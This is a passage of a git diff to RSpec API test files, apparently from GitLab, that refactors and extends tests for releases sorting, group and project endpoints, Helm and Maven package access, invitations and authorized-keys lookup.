+ let_it_be(:release5) { create(:release, project: sort_project, tag: 'v5.5.0', released_at: 3.days.from_now) }
+ let_it_be(:release1) { create(:release, project: sort_project, tag: 'v5.1.0', released_at: 3.days.ago) }
+ let_it_be(:release4) { create(:release, project: sort_project, tag: 'v5.4.0', released_at: 2.days.from_now) }
+ let_it_be(:release2) { create(:release, project: sort_project, tag: 'v5.2.0', released_at: 2.days.ago) }
+ let_it_be(:release3) { create(:release, project: sort_project, tag: 'v5.3.0', released_at: 1.day.ago) }
+
+ context 'when ascending' do
+ it_behaves_like 'sorted paginated query' do
+ let(:sort_param) { :RELEASED_AT_ASC }
+ let(:first_param) { 2 }
+ let(:expected_results) { [release1.tag, release2.tag, release3.tag, release4.tag, release5.tag] }
+ end
end
- end
- context 'with sort: RELEASED_AT_ASC' do
- let(:params) { 'sort: RELEASED_AT_ASC' }
-
- it 'returns the releases ordered by released_at in ascending order' do
- expect(sorted_tags).to eq(%w(v1 v2 v3))
+ context 'when descending' do
+ it_behaves_like 'sorted paginated query' do
+ let(:sort_param) { :RELEASED_AT_DESC }
+ let(:first_param) { 2 }
+ let(:expected_results) { [release5.tag, release4.tag, release3.tag, release2.tag, release1.tag] }
+ end
end
end
- context 'with sort: CREATED_DESC' do
- let(:params) { 'sort: CREATED_DESC' }
-
- it 'returns the releases ordered by created_at in descending order' do
- expect(sorted_tags).to eq(%w(v1 v3 v2))
+ context 'when sorting by created_at' do
+ let_it_be(:release5) { create(:release, project: sort_project, tag: 'v5.5.0', created_at: 3.days.from_now) }
+ let_it_be(:release1) { create(:release, project: sort_project, tag: 'v5.1.0', created_at: 3.days.ago) }
+ let_it_be(:release4) { create(:release, project: sort_project, tag: 'v5.4.0', created_at: 2.days.from_now) }
+ let_it_be(:release2) { create(:release, project: sort_project, tag: 'v5.2.0', created_at: 2.days.ago) }
+ let_it_be(:release3) { create(:release, project: sort_project, tag: 'v5.3.0', created_at: 1.day.ago) }
+
+ context 'when ascending' do
+ it_behaves_like 'sorted paginated query' do
+ let(:sort_param) { :CREATED_ASC }
+ let(:first_param) { 2 }
+ let(:expected_results) { [release1.tag, release2.tag, release3.tag, release4.tag, release5.tag] }
+ end
end
- end
-
- context 'with sort: CREATED_ASC' do
- let(:params) { 'sort: CREATED_ASC' }
- it 'returns the releases ordered by created_at in ascending order' do
- expect(sorted_tags).to eq(%w(v2 v3 v1))
+ context 'when descending' do
+ it_behaves_like 'sorted paginated query' do
+ let(:sort_param) { :CREATED_DESC }
+ let(:first_param) { 2 }
+ let(:expected_results) { [release5.tag, release4.tag, release3.tag, release2.tag, release1.tag] }
+ end
end
end
end
diff --git a/spec/requests/api/graphql/project_query_spec.rb b/spec/requests/api/graphql/project_query_spec.rb
index b367bbaaf43..54375d4de1d 100644
--- a/spec/requests/api/graphql/project_query_spec.rb
+++ b/spec/requests/api/graphql/project_query_spec.rb
@@ -65,7 +65,7 @@ RSpec.describe 'getting project information' do
end
it 'includes topics array' do
- project.update!(tag_list: 'topic1, topic2, topic3')
+ project.update!(topic_list: 'topic1, topic2, topic3')
post_graphql(query, current_user: current_user)
@@ -119,6 +119,29 @@ RSpec.describe 'getting project information' do
end
end
+ context 'when the user has reporter access to the project' do
+ let(:statistics_query) do
+ <<~GRAPHQL
+ {
+ project(fullPath: "#{project.full_path}") {
+ statistics { wikiSize }
+ }
+ }
+ GRAPHQL
+ end
+
+ before do
+ project.add_reporter(current_user)
+ create(:project_statistics, project: project, wiki_size: 100)
+ end
+
+ it 'allows fetching project statistics' do
+ post_graphql(statistics_query, current_user: current_user)
+
+ expect(graphql_data.dig('project', 'statistics')).to include('wikiSize' => 100.0)
+ end
+ end
+
context 'when the user does not have access to the project' do
it 'returns an empty field' do
post_graphql(query, current_user: current_user)
diff --git a/spec/requests/api/group_avatar_spec.rb b/spec/requests/api/group_avatar_spec.rb
new file mode 100644
index 00000000000..be5cfbc234c
--- /dev/null
+++ b/spec/requests/api/group_avatar_spec.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::GroupAvatar do
+ def avatar_path(group)
+ "/groups/#{group.id}/avatar"
+ end
+
+ describe 'GET /groups/:id/avatar' do
+ context 'when the group is public' do
+ it 'retrieves the avatar successfully' do
+ group = create(:group, :public, :with_avatar)
+
+ get api(avatar_path(group))
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ context 'when the group does not have avatar' do
+ it 'returns :not_found' do
+ group = create(:group, :public)
+
+ get api(avatar_path(group))
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ context 'when the group is private' do
+ let(:group) { create(:group, :private, :with_avatar) }
+
+ context 'when the user is not authenticated' do
+ it 'returns :not_found' do
+ get api(avatar_path(group))
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'when the the group user is authenticated' do
+ context 'and have access to the group' do
+ it 'retrieves the avatar successfully' do
+ owner = create(:user)
+ group.add_owner(owner)
+
+ get api(avatar_path(group), owner)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ context 'and does not have access to the group' do
+ it 'returns :not_found' do
+ get api(avatar_path(group), create(:user))
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/group_container_repositories_spec.rb b/spec/requests/api/group_container_repositories_spec.rb
index 4584ef37bd0..fdbf910e4bc 100644
--- a/spec/requests/api/group_container_repositories_spec.rb
+++ b/spec/requests/api/group_container_repositories_spec.rb
@@ -33,6 +33,7 @@ RSpec.describe API::GroupContainerRepositories do
describe 'GET /groups/:id/registry/repositories' do
let(:url) { "/groups/#{group.id}/registry/repositories" }
+ let(:snowplow_gitlab_standard_context) { { user: api_user, namespace: group } }
subject { get api(url, api_user) }
diff --git a/spec/requests/api/group_export_spec.rb b/spec/requests/api/group_export_spec.rb
index 8309e2ba7c1..31eef21654a 100644
--- a/spec/requests/api/group_export_spec.rb
+++ b/spec/requests/api/group_export_spec.rb
@@ -64,6 +64,23 @@ RSpec.describe API::GroupExport do
expect(response).to have_gitlab_http_status(:not_found)
end
end
+
+ context 'when object is not present' do
+ let(:other_group) { create(:group, :with_export) }
+ let(:other_download_path) { "/groups/#{other_group.id}/export/download" }
+
+ before do
+ other_group.add_owner(user)
+ other_group.export_file.file.delete
+ end
+
+ it 'returns 404' do
+ get api(other_download_path, user)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('The group export file is not available yet')
+ end
+ end
end
context 'when export file does not exist' do
@@ -215,7 +232,7 @@ RSpec.describe API::GroupExport do
context 'when export file exists' do
it 'downloads exported group archive' do
- upload.update!(export_file: fixture_file_upload('spec/fixtures/bulk_imports/labels.ndjson.gz'))
+ upload.update!(export_file: fixture_file_upload('spec/fixtures/bulk_imports/gz/labels.ndjson.gz'))
get api(download_path, user)
diff --git a/spec/requests/api/group_labels_spec.rb b/spec/requests/api/group_labels_spec.rb
index 900ffe6dfc7..c677e68b285 100644
--- a/spec/requests/api/group_labels_spec.rb
+++ b/spec/requests/api/group_labels_spec.rb
@@ -290,7 +290,7 @@ RSpec.describe API::GroupLabels do
put api("/groups/#{group.id}/labels", user), params: { name: group_label1.name }
expect(response).to have_gitlab_http_status(:bad_request)
- expect(json_response['error']).to eq('new_name, color, description, remove_on_close are missing, '\
+ expect(json_response['error']).to eq('new_name, color, description are missing, '\
'at least one parameter must be provided')
end
end
@@ -337,7 +337,7 @@ RSpec.describe API::GroupLabels do
put api("/groups/#{group.id}/labels/#{valid_group_label_title_1_esc}", user)
expect(response).to have_gitlab_http_status(:bad_request)
- expect(json_response['error']).to eq('new_name, color, description, remove_on_close are missing, '\
+ expect(json_response['error']).to eq('new_name, color, description are missing, '\
'at least one parameter must be provided')
end
end
diff --git a/spec/requests/api/groups_spec.rb b/spec/requests/api/groups_spec.rb
index 1c359b6e50f..0a47b93773b 100644
--- a/spec/requests/api/groups_spec.rb
+++ b/spec/requests/api/groups_spec.rb
@@ -506,7 +506,7 @@ RSpec.describe API::Groups do
end
it "does not return a non existing group" do
- get api("/groups/1328", user1)
+ get api("/groups/#{non_existing_record_id}", user1)
expect(response).to have_gitlab_http_status(:not_found)
end
@@ -586,7 +586,7 @@ RSpec.describe API::Groups do
end
it "does not return a non existing group" do
- get api("/groups/1328", admin)
+ get api("/groups/#{non_existing_record_id}", admin)
expect(response).to have_gitlab_http_status(:not_found)
end
@@ -631,30 +631,11 @@ RSpec.describe API::Groups do
end
end
- context 'when limiting feature is enabled' do
- before do
- stub_feature_flags(limit_projects_in_groups_api: true)
- end
-
- it 'limits projects and shared_projects' do
- get api("/groups/#{group1.id}")
-
- expect(json_response['projects'].count).to eq(limit)
- expect(json_response['shared_projects'].count).to eq(limit)
- end
- end
-
- context 'when limiting feature is not enabled' do
- before do
- stub_feature_flags(limit_projects_in_groups_api: false)
- end
-
- it 'does not limit projects and shared_projects' do
- get api("/groups/#{group1.id}")
+ it 'limits projects and shared_projects' do
+ get api("/groups/#{group1.id}")
- expect(json_response['projects'].count).to eq(3)
- expect(json_response['shared_projects'].count).to eq(3)
- end
+ expect(json_response['projects'].count).to eq(limit)
+ expect(json_response['shared_projects'].count).to eq(limit)
end
end
end
@@ -748,7 +729,7 @@ RSpec.describe API::Groups do
end
it 'returns 404 for a non existing group' do
- put api('/groups/1328', user1), params: { name: new_group_name }
+ put api("/groups/#{non_existing_record_id}", user1), params: { name: new_group_name }
expect(response).to have_gitlab_http_status(:not_found)
end
@@ -973,7 +954,7 @@ RSpec.describe API::Groups do
end
it "does not return a non existing group" do
- get api("/groups/1328/projects", user1)
+ get api("/groups/#{non_existing_record_id}/projects", user1)
expect(response).to have_gitlab_http_status(:not_found)
end
@@ -1027,7 +1008,7 @@ RSpec.describe API::Groups do
end
it "does not return a non existing group" do
- get api("/groups/1328/projects", admin)
+ get api("/groups/#{non_existing_record_id}/projects", admin)
expect(response).to have_gitlab_http_status(:not_found)
end
@@ -1686,7 +1667,7 @@ RSpec.describe API::Groups do
end
it "does not remove a non existing group" do
- delete api("/groups/1328", user1)
+ delete api("/groups/#{non_existing_record_id}", user1)
expect(response).to have_gitlab_http_status(:not_found)
end
@@ -1706,7 +1687,7 @@ RSpec.describe API::Groups do
end
it "does not remove a non existing group" do
- delete api("/groups/1328", admin)
+ delete api("/groups/#{non_existing_record_id}", admin)
expect(response).to have_gitlab_http_status(:not_found)
end
diff --git a/spec/requests/api/helm_packages_spec.rb b/spec/requests/api/helm_packages_spec.rb
new file mode 100644
index 00000000000..5871c0a5d5b
--- /dev/null
+++ b/spec/requests/api/helm_packages_spec.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe API::HelmPackages do
+ include_context 'helm api setup'
+
+ using RSpec::Parameterized::TableSyntax
+
+ let_it_be_with_reload(:project) { create(:project, :public) }
+ let_it_be(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
+ let_it_be(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token, project: project) }
+
+ describe 'GET /api/v4/projects/:id/packages/helm/:channel/charts/:file_name.tgz' do
+ let_it_be(:package) { create(:helm_package, project: project) }
+
+ let(:channel) { package.package_files.first.helm_channel }
+
+ let(:url) { "/projects/#{project.id}/packages/helm/#{channel}/charts/#{package.name}-#{package.version}.tgz" }
+
+ subject { get api(url) }
+
+ context 'with valid project' do
+ where(:visibility, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
+ :public | :developer | true | true | 'process helm download content request' | :success
+ :public | :guest | true | true | 'process helm download content request' | :success
+ :public | :developer | true | false | 'rejects helm packages access' | :unauthorized
+ :public | :guest | true | false | 'rejects helm packages access' | :unauthorized
+ :public | :developer | false | true | 'process helm download content request' | :success
+ :public | :guest | false | true | 'process helm download content request' | :success
+ :public | :developer | false | false | 'rejects helm packages access' | :unauthorized
+ :public | :guest | false | false | 'rejects helm packages access' | :unauthorized
+ :public | :anonymous | false | true | 'process helm download content request' | :success
+ :private | :developer | true | true | 'process helm download content request' | :success
+ :private | :guest | true | true | 'rejects helm packages access' | :forbidden
+ :private | :developer | true | false | 'rejects helm packages access' | :unauthorized
+ :private | :guest | true | false | 'rejects helm packages access' | :unauthorized
+ :private | :developer | false | true | 'rejects helm packages access' | :not_found
+ :private | :guest | false | true | 'rejects helm packages access' | :not_found
+ :private | :developer | false | false | 'rejects helm packages access' | :unauthorized
+ :private | :guest | false | false | 'rejects helm packages access' | :unauthorized
+ :private | :anonymous | false | true | 'rejects helm packages access' | :unauthorized
+ end
+
+ with_them do
+ let(:token) { user_token ? personal_access_token.token : 'wrong' }
+ let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace } }
+
+ subject { get api(url), headers: headers }
+
+ before do
+ project.update!(visibility: visibility.to_s)
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
+ end
+ end
+
+ it_behaves_like 'deploy token for package GET requests'
+
+ it_behaves_like 'rejects helm access with unknown project id'
+ end
+end
diff --git a/spec/requests/api/internal/base_spec.rb b/spec/requests/api/internal/base_spec.rb
index 6bedd43e5c4..631698554f9 100644
--- a/spec/requests/api/internal/base_spec.rb
+++ b/spec/requests/api/internal/base_spec.rb
@@ -341,9 +341,9 @@ RSpec.describe API::Internal::Base do
end
describe "GET /internal/authorized_keys" do
- context "using an existing key's fingerprint" do
+ context "using an existing key" do
it "finds the key" do
- get(api('/internal/authorized_keys'), params: { fingerprint: key.fingerprint, secret_token: secret_token })
+ get(api('/internal/authorized_keys'), params: { key: key.key.split[1], secret_token: secret_token })
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['id']).to eq(key.id)
@@ -351,58 +351,23 @@ RSpec.describe API::Internal::Base do
end
it 'exposes the comment of the key as a simple identifier of username + hostname' do
- get(api('/internal/authorized_keys'), params: { fingerprint: key.fingerprint, secret_token: secret_token })
+ get(api('/internal/authorized_keys'), params: { key: key.key.split[1], secret_token: secret_token })
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['key']).to include("#{key.user_name} (#{Gitlab.config.gitlab.host})")
end
end
- context "non existing key's fingerprint" do
- it "returns 404" do
- get(api('/internal/authorized_keys'), params: { fingerprint: "no:t-:va:li:d0", secret_token: secret_token })
+ it "returns 404 with a partial key" do
+ get(api('/internal/authorized_keys'), params: { key: key.key.split[1][0...-3], secret_token: secret_token })
- expect(response).to have_gitlab_http_status(:not_found)
- end
+ expect(response).to have_gitlab_http_status(:not_found)
end
- context "using a partial fingerprint" do
- it "returns 404" do
- get(api('/internal/authorized_keys'), params: { fingerprint: "#{key.fingerprint[0..5]}%", secret_token: secret_token })
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
-
- context "sending the key" do
- context "using an existing key" do
- it "finds the key" do
- get(api('/internal/authorized_keys'), params: { key: key.key.split[1], secret_token: secret_token })
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['id']).to eq(key.id)
- expect(json_response['key'].split[1]).to eq(key.key.split[1])
- end
-
- it 'exposes the comment of the key as a simple identifier of username + hostname' do
- get(api('/internal/authorized_keys'), params: { fingerprint: key.fingerprint, secret_token: secret_token })
+ it "returns 404 with an not valid base64 string" do
+ get(api('/internal/authorized_keys'), params: { key: "whatever!", secret_token: secret_token })
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['key']).to include("#{key.user_name} (#{Gitlab.config.gitlab.host})")
- end
- end
-
- it "returns 404 with a partial key" do
- get(api('/internal/authorized_keys'), params: { key: key.key.split[1][0...-3], secret_token: secret_token })
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
-
- it "returns 404 with an not valid base64 string" do
- get(api('/internal/authorized_keys'), params: { key: "whatever!", secret_token: secret_token })
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
+ expect(response).to have_gitlab_http_status(:not_found)
end
end
diff --git a/spec/requests/api/invitations_spec.rb b/spec/requests/api/invitations_spec.rb
index b0e54055854..f9f03c9e55c 100644
--- a/spec/requests/api/invitations_spec.rb
+++ b/spec/requests/api/invitations_spec.rb
@@ -61,7 +61,7 @@ RSpec.describe API::Invitations do
context 'and new member is already a requester' do
it 'does not transform the requester into a proper member' do
expect do
- post api("/#{source_type.pluralize}/#{source.id}/invitations", maintainer),
+ post invitations_url(source, maintainer),
params: { email: access_requester.email, access_level: Member::MAINTAINER }
expect(response).to have_gitlab_http_status(:created)
@@ -71,7 +71,7 @@ RSpec.describe API::Invitations do
it 'invites a new member' do
expect do
- post api("/#{source_type.pluralize}/#{source.id}/invitations", maintainer),
+ post invitations_url(source, maintainer),
params: { email: email, access_level: Member::DEVELOPER }
expect(response).to have_gitlab_http_status(:created)
@@ -82,7 +82,7 @@ RSpec.describe API::Invitations do
expect do
email_list = [email, email2].join(',')
- post api("/#{source_type.pluralize}/#{source.id}/invitations", maintainer),
+ post invitations_url(source, maintainer),
params: { email: email_list, access_level: Member::DEVELOPER }
expect(response).to have_gitlab_http_status(:created)
@@ -98,7 +98,7 @@ RSpec.describe API::Invitations do
project.update!(group: group)
parent.add_developer(stranger)
- post api("/#{source_type.pluralize}/#{source.id}/invitations", maintainer),
+ post invitations_url(source, maintainer),
params: { email: stranger.email, access_level: Member::REPORTER }
expect(response).to have_gitlab_http_status(:created)
@@ -113,7 +113,7 @@ RSpec.describe API::Invitations do
project.update!(group: group)
parent.add_developer(stranger)
- post api("/#{source_type.pluralize}/#{source.id}/invitations", maintainer),
+ post invitations_url(source, maintainer),
params: { email: stranger.email, access_level: Member::MAINTAINER }
expect(response).to have_gitlab_http_status(:created)
@@ -122,7 +122,7 @@ RSpec.describe API::Invitations do
context 'access expiry date' do
subject do
- post api("/#{source_type.pluralize}/#{source.id}/invitations", maintainer),
+ post invitations_url(source, maintainer),
params: { email: email, access_level: Member::DEVELOPER, expires_at: expires_at }
end
@@ -152,8 +152,36 @@ RSpec.describe API::Invitations do
end
end
+ context 'with invite_source considerations', :snowplow do
+ let(:params) { { email: email, access_level: Member::DEVELOPER } }
+
+ it 'tracks the invite source as api' do
+ post invitations_url(source, maintainer), params: params
+
+ expect_snowplow_event(
+ category: 'Members::InviteService',
+ action: 'create_member',
+ label: 'invitations-api',
+ property: 'net_new_user',
+ user: maintainer
+ )
+ end
+
+ it 'tracks the invite source from params' do
+ post invitations_url(source, maintainer), params: params.merge(invite_source: '_invite_source_')
+
+ expect_snowplow_event(
+ category: 'Members::InviteService',
+ action: 'create_member',
+ label: '_invite_source_',
+ property: 'net_new_user',
+ user: maintainer
+ )
+ end
+ end
+
it "returns a message if member already exists" do
- post api("/#{source_type.pluralize}/#{source.id}/invitations", maintainer),
+ post invitations_url(source, maintainer),
params: { email: developer.email, access_level: Member::MAINTAINER }
expect(response).to have_gitlab_http_status(:created)
@@ -161,7 +189,7 @@ RSpec.describe API::Invitations do
end
it 'returns 404 when the email is not valid' do
- post api("/#{source_type.pluralize}/#{source.id}/invitations", maintainer),
+ post invitations_url(source, maintainer),
params: { email: '', access_level: Member::MAINTAINER }
expect(response).to have_gitlab_http_status(:created)
@@ -169,7 +197,7 @@ RSpec.describe API::Invitations do
end
it 'returns 404 when the email list is not a valid format' do
- post api("/#{source_type.pluralize}/#{source.id}/invitations", maintainer),
+ post invitations_url(source, maintainer),
params: { email: 'email1@example.com,not-an-email', access_level: Member::MAINTAINER }
expect(response).to have_gitlab_http_status(:bad_request)
@@ -177,14 +205,14 @@ RSpec.describe API::Invitations do
end
it 'returns 400 when email is not given' do
- post api("/#{source_type.pluralize}/#{source.id}/invitations", maintainer),
+ post invitations_url(source, maintainer),
params: { access_level: Member::MAINTAINER }
expect(response).to have_gitlab_http_status(:bad_request)
end
it 'returns 400 when access_level is not given' do
- post api("/#{source_type.pluralize}/#{source.id}/invitations", maintainer),
+ post invitations_url(source, maintainer),
params: { email: email }
expect(response).to have_gitlab_http_status(:bad_request)
diff --git a/spec/requests/api/issues/put_projects_issues_spec.rb b/spec/requests/api/issues/put_projects_issues_spec.rb
index 38c080059c4..dac721cbea0 100644
--- a/spec/requests/api/issues/put_projects_issues_spec.rb
+++ b/spec/requests/api/issues/put_projects_issues_spec.rb
@@ -402,17 +402,6 @@ RSpec.describe API::Issues do
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['state']).to eq 'opened'
end
-
- it 'removes labels marked to be removed on issue closed' do
- removable_label = create(:label, project: project, remove_on_close: true)
- create(:label_link, target: issue, label: removable_label)
-
- put api_for_user, params: { state_event: 'close' }
-
- expect(issue.reload.label_ids).not_to include(removable_label.id)
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['state']).to eq 'closed'
- end
end
describe 'PUT /projects/:id/issues/:issue_iid to update updated_at param' do
diff --git a/spec/requests/api/labels_spec.rb b/spec/requests/api/labels_spec.rb
index f2ceedf6dbd..26377c40b73 100644
--- a/spec/requests/api/labels_spec.rb
+++ b/spec/requests/api/labels_spec.rb
@@ -57,7 +57,7 @@ RSpec.describe API::Labels do
put_labels_api(route_type, user, spec_params)
expect(response).to have_gitlab_http_status(:bad_request)
- expect(json_response['error']).to eq('new_name, color, description, priority, remove_on_close are missing, '\
+ expect(json_response['error']).to eq('new_name, color, description, priority are missing, '\
'at least one parameter must be provided')
end
@@ -112,14 +112,6 @@ RSpec.describe API::Labels do
expect(json_response['id']).to eq(expected_response_label_id)
expect(json_response['priority']).to eq(10)
end
-
- it "returns 200 if remove_on_close is changed (#{route_type} route)" do
- put_labels_api(route_type, user, spec_params, remove_on_close: true)
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['id']).to eq(expected_response_label_id)
- expect(json_response['remove_on_close']).to eq(true)
- end
end
it 'returns 200 if a priority is removed (deprecated route)' do
@@ -309,8 +301,7 @@ RSpec.describe API::Labels do
name: valid_label_title_2,
color: '#FFAABB',
description: 'test',
- priority: 2,
- remove_on_close: true
+ priority: 2
}
expect(response).to have_gitlab_http_status(:created)
@@ -318,7 +309,6 @@ RSpec.describe API::Labels do
expect(json_response['color']).to eq('#FFAABB')
expect(json_response['description']).to eq('test')
expect(json_response['priority']).to eq(2)
- expect(json_response['remove_on_close']).to eq(true)
end
it 'returns created label when only required params' do
diff --git a/spec/requests/api/maven_packages_spec.rb b/spec/requests/api/maven_packages_spec.rb
index 4fc5fcf8282..d9f11b19e6e 100644
--- a/spec/requests/api/maven_packages_spec.rb
+++ b/spec/requests/api/maven_packages_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe API::MavenPackages do
include_context 'workhorse headers'
let_it_be_with_refind(:package_settings) { create(:namespace_package_setting, :group) }
- let_it_be(:group) { package_settings.namespace }
+ let_it_be_with_refind(:group) { package_settings.namespace }
let_it_be(:user) { create(:user) }
let_it_be(:project, reload: true) { create(:project, :public, namespace: group) }
let_it_be(:package, reload: true) { create(:maven_package, project: project, name: project.full_path) }
@@ -15,12 +15,13 @@ RSpec.describe API::MavenPackages do
let_it_be(:package_file) { package.package_files.with_file_name_like('%.xml').first }
let_it_be(:jar_file) { package.package_files.with_file_name_like('%.jar').first }
let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
- let_it_be(:job, reload: true) { create(:ci_build, user: user, status: :running) }
+ let_it_be(:job, reload: true) { create(:ci_build, user: user, status: :running, project: project) }
let_it_be(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
let_it_be(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token, project: project) }
let_it_be(:deploy_token_for_group) { create(:deploy_token, :group, read_package_registry: true, write_package_registry: true) }
let_it_be(:group_deploy_token) { create(:group_deploy_token, deploy_token: deploy_token_for_group, group: group) }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace, user: user } }
let(:package_name) { 'com/example/my-app' }
let(:headers) { workhorse_headers }
let(:headers_with_token) { headers.merge('Private-Token' => personal_access_token.token) }
@@ -39,22 +40,73 @@ RSpec.describe API::MavenPackages do
project.add_developer(user)
end
+ shared_examples 'handling groups and subgroups for' do |shared_example_name, visibilities: %i[public]|
+ context 'within a group' do
+ visibilities.each do |visibility|
+ context "that is #{visibility}" do
+ before do
+ group.update!(visibility_level: Gitlab::VisibilityLevel.level_value(visibility.to_s))
+ end
+
+ it_behaves_like shared_example_name
+ end
+ end
+ end
+
+ context 'within a subgroup' do
+ let_it_be_with_reload(:subgroup) { create(:group, parent: group) }
+
+ before do
+ move_project_to_namespace(subgroup)
+ end
+
+ visibilities.each do |visibility|
+ context "that is #{visibility}" do
+ before do
+ subgroup.update!(visibility_level: Gitlab::VisibilityLevel.level_value(visibility.to_s))
+ group.update!(visibility_level: Gitlab::VisibilityLevel.level_value(visibility.to_s))
+ end
+
+ it_behaves_like shared_example_name
+ end
+ end
+ end
+ end
+
+ shared_examples 'handling groups, subgroups and user namespaces for' do |shared_example_name, visibilities: %i[public]|
+ it_behaves_like 'handling groups and subgroups for', shared_example_name, visibilities: visibilities
+
+ context 'within a user namespace' do
+ before do
+ move_project_to_namespace(user.namespace)
+ end
+
+ visibilities.each do |visibility|
+ context "that is #{visibility}" do
+ before do
+ user.namespace.update!(visibility_level: Gitlab::VisibilityLevel.level_value(visibility.to_s))
+ end
+
+ it_behaves_like shared_example_name
+ end
+ end
+ end
+ end
+
shared_examples 'tracking the file download event' do
context 'with jar file' do
let_it_be(:package_file) { jar_file }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace } }
+
it_behaves_like 'a package tracking event', described_class.name, 'pull_package'
end
end
shared_examples 'rejecting the request for non existing maven path' do |expected_status: :not_found|
- before do
- if Feature.enabled?(:check_maven_path_first, default_enabled: :yaml)
- expect(::Packages::Maven::PackageFinder).not_to receive(:new)
- end
- end
-
it 'rejects the request' do
+ expect(::Packages::Maven::PackageFinder).not_to receive(:new)
+
subject
expect(response).to have_gitlab_http_status(expected_status)
@@ -166,10 +218,10 @@ RSpec.describe API::MavenPackages do
end
describe 'GET /api/v4/packages/maven/*path/:file_name' do
- shared_examples 'handling all conditions' do
- context 'a public project' do
- subject { download_file(file_name: package_file.file_name) }
+ context 'a public project' do
+ subject { download_file(file_name: package_file.file_name) }
+ shared_examples 'getting a file' do
it_behaves_like 'tracking the file download event'
it 'returns the file' do
@@ -194,14 +246,18 @@ RSpec.describe API::MavenPackages do
end
end
- context 'internal project' do
- before do
- project.team.truncate
- project.update!(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
- end
+ it_behaves_like 'handling groups, subgroups and user namespaces for', 'getting a file'
+ end
- subject { download_file_with_token(file_name: package_file.file_name) }
+ context 'internal project' do
+ before do
+ project.team.truncate
+ project.update!(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
+ end
+ subject { download_file_with_token(file_name: package_file.file_name) }
+
+ shared_examples 'getting a file' do
it_behaves_like 'tracking the file download event'
it 'returns the file' do
@@ -228,13 +284,17 @@ RSpec.describe API::MavenPackages do
end
end
- context 'private project' do
- subject { download_file_with_token(file_name: package_file.file_name) }
+ it_behaves_like 'handling groups, subgroups and user namespaces for', 'getting a file', visibilities: %i[public internal]
+ end
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
- end
+ context 'private project' do
+ subject { download_file_with_token(file_name: package_file.file_name) }
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ end
+
+ shared_examples 'getting a file' do
it_behaves_like 'tracking the file download event'
it 'returns the file' do
@@ -245,11 +305,13 @@ RSpec.describe API::MavenPackages do
end
it 'denies download when not enough permissions' do
- project.add_guest(user)
+ unless project.root_namespace == user.namespace
+ project.add_guest(user)
- subject
+ subject
- expect(response).to have_gitlab_http_status(:forbidden)
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
end
it 'denies download when no private token' do
@@ -286,33 +348,19 @@ RSpec.describe API::MavenPackages do
end
end
- context 'project name is different from a package name' do
- before do
- maven_metadatum.update!(path: "wrong_name/#{package.version}")
- end
-
- it 'rejects request' do
- download_file(file_name: package_file.file_name)
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
+ it_behaves_like 'handling groups, subgroups and user namespaces for', 'getting a file', visibilities: %i[public internal private]
end
- context 'with check_maven_path_first enabled' do
+ context 'project name is different from a package name' do
before do
- stub_feature_flags(check_maven_path_first: true)
+ maven_metadatum.update!(path: "wrong_name/#{package.version}")
end
- it_behaves_like 'handling all conditions'
- end
+ it 'rejects request' do
+ download_file(file_name: package_file.file_name)
- context 'with check_maven_path_first disabled' do
- before do
- stub_feature_flags(check_maven_path_first: false)
+ expect(response).to have_gitlab_http_status(:forbidden)
end
-
- it_behaves_like 'handling all conditions'
end
def download_file(file_name:, params: {}, request_headers: headers, path: maven_metadatum.path)
@@ -328,14 +376,16 @@ RSpec.describe API::MavenPackages do
let(:path) { package.maven_metadatum.path }
let(:url) { "/packages/maven/#{path}/#{package_file.file_name}" }
- it_behaves_like 'processing HEAD requests', instance_level: true
+ shared_examples 'heading a file' do
+ it_behaves_like 'processing HEAD requests', instance_level: true
+ end
context 'with check_maven_path_first enabled' do
before do
stub_feature_flags(check_maven_path_first: true)
end
- it_behaves_like 'processing HEAD requests', instance_level: true
+ it_behaves_like 'handling groups, subgroups and user namespaces for', 'heading a file'
end
context 'with check_maven_path_first disabled' do
@@ -343,7 +393,7 @@ RSpec.describe API::MavenPackages do
stub_feature_flags(check_maven_path_first: false)
end
- it_behaves_like 'processing HEAD requests', instance_level: true
+ it_behaves_like 'handling groups, subgroups and user namespaces for', 'heading a file'
end
end
@@ -353,10 +403,10 @@ RSpec.describe API::MavenPackages do
group.add_developer(user)
end
- shared_examples 'handling all conditions' do
- context 'a public project' do
